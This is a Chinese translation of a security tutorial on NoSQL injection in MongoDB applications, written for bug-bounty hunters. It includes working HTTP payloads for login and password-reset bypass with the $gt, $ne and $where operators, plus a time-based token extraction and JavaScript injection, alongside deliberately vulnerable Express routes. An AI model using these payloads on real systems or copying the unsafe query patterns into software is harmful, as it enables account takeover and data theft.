NoSQL 注入相对于经典 SQL 注入来说更容易利用,然而,开发者往往忽视这些漏洞,主要是因为安全意识不足。
此外,软件工程师中普遍存在的错误观念,即 NoSQL 数据库天生抵抗注入攻击,进一步增加了发现 NoSQLi 漏洞的可能性。
在本文,我们将深入探讨识别和利用高级 NoSQL 注入,同时我们还将分析几个示例,以更好地理解 NoSQLi 攻击。
Table of Contents
Toggle
什么是 NoSQL 数据库?什么是 NoSQL 注入漏洞?经典 SQL 注入和 NoSQL 注入之间的主要区别识别 NoSQL 注入漏洞利用简单的 NoSQL 注入通过操作符注入绕过身份验证NoSQL 高级注入通过时间延迟提取数据使用 NoSQL 语法注入执行服务器端 JavaScript 代码二阶 NoSQL 注入结论
什么是 NoSQL 数据库?
NoSQL 数据库是非关系型数据库系统,旨在处理各种数据模型,并为存储、检索和管理数据提供灵活的数据结构和模式。
与传统 SQL(结构化查询语言)数据库使用行和列组织数据不同,NoSQL 数据库使用替代的数据结构。
这种方法提供了多个好处,从提高性能(当数据存储和结构正确时)到易于扩展和灵活的存储选项,这些选项可以适应任何类型应用程序的需求。
一些 NoSQL 数据库的例子包括:
MongoDB,一个流行的开源 NoSQL 数据库,支持
Redis,一种常用于缓存数据的内存键值存储
Elasticsearch,一种常用的 NoSQL 数据库,适用于大规模和复杂的搜索操作
Apache CouchDB,一个流行的开源 NoSQL 数据库,支持本机 REST HTTP API
Cloudflare KV 或 Amazon DynamoDB,都是知名的免服务器键值存储选项
什么是 NoSQL 注入漏洞?
与经典的 SQL 注入类似,NoSQL 注入源于将未经清洗的用户输入直接连接到数据库查询,这允许攻击者跳出上下文,操纵查询以:
通过注入操作符绕过身份验证表单
对现有记录更改
提取可能敏感的数据和其他文档
删除现有数据库记录或创建新的数据条目
执行拒绝服务攻击
在严重情况下,甚至执行系统命令
接下来我们探讨一下 SQL 和 NoSQL 注入之间的主要区别,因为这有助于今后识如何别它们。
经典 SQL 注入和 NoSQL 注入之间的主要区别
传统的 SQL 注入涉及破坏现有的 SQL 查询并引入一个“真值”语句。考虑以下查询示例:
SELECT * FROM customers WHERE customer_email = '[email protected]' AND password = 'hunter2';
假设请求体参数 customer_email 容易受到以下 POST 请求中的 SQL 注入(后端数据库为 MySQL)的影响:
POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: ...
[email protected]&password=hunter2
我们能够发送Payload,绕过查询并无需密码登录任意账户:
[email protected]'+AND+TRUE;+--&password=anything
NoSQL 注入需要不同的利用方法,因为不支持 SQL(结构化查询语言),用于验证用户的等效数据库查询看起来像这样:
db.customers.findOne({ customer_email: '[email protected]', password: 'hunter2' })
NoSQL 数据库支持诸如 $gt 这样的运算符,帮助我们通过查找大于提供值的值来过滤字段。
回到我们的例子,如果我们的输入没有经过清理,我们可以发送以下 HTTP POST 请求,无需提供密码,就可以用任意用户账户登录:
POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/json
User-Agent: ...
{
"customer_email": "[email protected]",
"password": { "$gt": "" }
}
识别 NoSQL 注入漏洞
为了识别潜在的注入点,你需要打破当前语法或注入一个运算符,并观察任何响应变化,例如内容长度、状态码或响应头部的明显差异。
检查每个输入字段,并系统地注入不同类型的语法破坏字符,例如:
$
{
}
\
"
`
;
%00
也值得指出的是,许多 NoSQL 数据库它们都使用非标准化的语法语言。因此,建议首先绘制数据库的映射图,并熟悉其语法。在本文下一节的利用示例中,我们将主要关注 MongoDB。
利用简单的 NoSQL 注入
一种测试和利用 NoSQL 注入的方法是跳出语法并注入我们的逻辑来操纵查询,这可以帮我们将简单的注入漏洞升级为身份验证绕过。
让我们来看一个简单的例子!
通过操作符注入绕过身份验证
以下是一个应用程序路由,它帮助用户使用密码重置令牌重置密码:
// Application route handling password reset
app.post('/auth/reset-password', async (req, res) => {
const { email, resetToken, newPassword } = req.body;
try {
const token = await db.collection('auth-tokens').findOne({
email: email,
resetPasswordToken: resetToken,
resetPasswordExpires: { $gt: Date.now() }
});
if (!token) {
return res.status(400).json({ message: 'Password reset token is invalid or has expired' });
}
// Update user's password
await db.collection('users').updateOne({ email: email },
{ $set: {
password: await bcrypt.hash(newPassword, 10)
}
});
res.json({ message: 'Password has been reset' });
} catch (error) {
console.error('Error during password reset:', error);
res.status(500).json({ message: 'Server error' });
}
});
注意在第 8 行,密码重置令牌被直接连接到 MongoDB 查询中,我们可以使用一个操作符来操纵查询,使其成立。这样就可以重置任何用户账户的密码,而无需密码重置令牌:
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...
{
"email": "[email protected]",
"token": {"$ne": null},
"newPassword": "hunter2"
}
在我们的Payload中,我们使用了$ne 运算符,该运算符用于选择值不等于指定值的文档,在这种情况下为 null 。MongoDB 支持其他几个运算符:
$regex : 选择与指定正则表达式匹配的文档
$where : 匹配满足 JavaScript 表达式的文档
$exists : 匹配具有指定字段的文档
$eq : 匹配等于指定值的值
$ne :匹配不等于指定值的值
$gt :匹配大于指定值的值
PS:如果你的应用程序处理所有请求体数据为表单数据,则可以使用参数数组。
一些参数解析器包提供了对参数数组的支持。如:
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...
[email protected]&token[$ne]=null&newPassword=hunter2
NoSQL 高级注入
通过时间延迟提取数据
与经典的 SQL 注入类似,我们也可以通过调用条件时间延迟从字段中提取数据。
回到之前提到的易受 NoSQL 注入攻击的密码重置功能示例,使用$where 运算符,我们可以注入 JavaScript 代码,如果条件匹配,则执行时间延迟:
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...
{
"email": "[email protected]",
"token": {
"$where": "if(this.token.startsWith('a')) {sleep(5000); return true;} else {return true;}"
},
"password": "hunter2"
}
如果管理员的重置令牌以 ‘a’ 开头,我们将注意到大约 5 秒的时间延迟。
为了使其工作,我们首先需要触发一个密码重置请求,然后可以制作一个工具,系统地尝试所有组合,直到提取出整个密码重置令牌。
让我们看看另一个例子,其中 JavaScript 代码可以帮助我们绕过身份验证。
使用 NoSQL 语法注入执行服务器端 JavaScript 代码
前面提到,使用 MongoDB 中的$where 运算符可以执行服务器端 JavaScript 代码。其它 NoSQL 数据库也提供了类似的功能,以帮助开发者创建更高级的查询过滤器。
如果我们的未经过滤的输入出现在 $where 子句中,我们就可以跳出语法,执行任意 JavaScript 代码来修改或窃取其他字段。以下是一个示例:
// Application route handling email unsubscribes
app.post('/newsletter/unsubscribe', async (req, res) => {
const { email, unsubscribeToken } = req.body;
try {
const subscriber = await db.collection('subscribers').findOne({
$where: 'this.email == ' + email + ' && this.unsubscribeToken == ' + unsubscribeToken
});
if (subscriber) {
// Update the subscriber's preferences
await db.collection('subscribers').updateOne(
{ email: email },
{ $set: { subscribed: false } }
);
res.json({ success: true, message: 'Successfully unsubscribed from all communication channels!' });
} else {
res.status(401).json({ success: false, message: 'Invalid email or token' });
}
} catch (error) {
console.error('Unsubscribe error:', error);
res.status(500).json({ success: false, message: 'Server error' });
}
});
在这种情况下,我们可以通过反复发送以下Payload来取消所有电子邮件收件人的订阅:
POST /newsletter/unsubscribe HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...
[email protected]'+||+TRUE;//&token=
Payload匹配所有电子邮件并消除了对令牌的需求:
this.email == '[email protected]' || TRUE; // && this.unsubscribeToken ==
二阶 NoSQL 注入
二阶 NoSQL 注入是另一种 NoSQL 注入类型,其中未经过清洗的输入被注入到应用程序中并存储(例如,在队列消息服务中),而不立即执行。
执行发生在稍后,当存储的数据被检索并以不安全的方式用于数据库查询时,这可能导致 NoSQL 注入。
尽管这些类型的 NoSQL 注入更难检测,但仍然值得测试它们。
结论
NoSQL 数据库天生免疫于注入攻击的观点是错误的,缺乏输入验证仍然可能对公司造成严重影响,正如本文中记录的那样。
原文:https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-nosql-injection-nosqli-vulnerabilities